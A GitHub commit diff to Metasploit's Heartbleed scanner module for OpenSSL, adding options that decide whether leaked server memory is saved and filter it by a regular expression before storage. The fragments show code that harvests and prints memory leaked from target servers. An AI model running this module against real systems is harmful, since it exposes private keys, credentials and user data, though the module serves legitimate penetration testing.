Skip to content

Commit 6599999

Browse files
committed
Land rapid7#3232, Heartbleed memory dump filtering
2 parents b69662f + a63f020 commit 6599999

File tree

1 file changed

+22
-11
lines changed

1 file changed

+22
-11
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 22 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,8 @@ def initialize
100100
'FiloSottile', # PoC site and tool
101101
'Christian Mehlmauer', # Msf module
102102
'wvu', # Msf module
103-
'juan vazquez' # Msf module
103+
'juan vazquez', # Msf module
104+
'Sebastiano Di Paola' # Msf module
104105
],
105106
'References' =>
106107
[
@@ -120,7 +121,9 @@ def initialize
120121
[
121122
Opt::RPORT(443),
122123
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
123-
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.0', ['1.0', '1.1', '1.2']])
124+
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.0', ['1.0', '1.1', '1.2']]),
125+
OptBool.new('STOREDUMP', [true, 'Store leaked memory in a file', false]),
126+
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
124127
], self.class)
125128

126129
register_advanced_options(
@@ -291,16 +294,24 @@ def run_host(ip)
291294
:refs => self.references,
292295
:info => "Module #{self.fullname} successfully leaked info"
293296
})
294-
path = store_loot(
295-
"openssl.heartbleed.server",
296-
"application/octet-stream",
297-
ip,
298-
heartbeat_data,
299-
nil,
300-
"OpenSSL Heartbleed server memory"
301-
)
297+
if datastore['STOREDUMP']
298+
pattern = datastore['DUMPFILTER']
299+
if pattern
300+
match_data = heartbeat_data.scan(pattern).join
301+
else
302+
match_data = heartbeat_data
303+
end
304+
path = store_loot(
305+
"openssl.heartbleed.server",
306+
"application/octet-stream",
307+
ip,
308+
match_data,
309+
nil,
310+
"OpenSSL Heartbleed server memory"
311+
)
312+
print_status("#{peer} - Heartbeat data stored in #{path}")
313+
end
302314
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
303-
print_status("#{peer} - Heartbeat data stored in #{path}")
304315
else
305316
vprint_error("#{peer} - Looks like there isn't leaked information...")
306317
end

0 commit comments

Comments
 (0)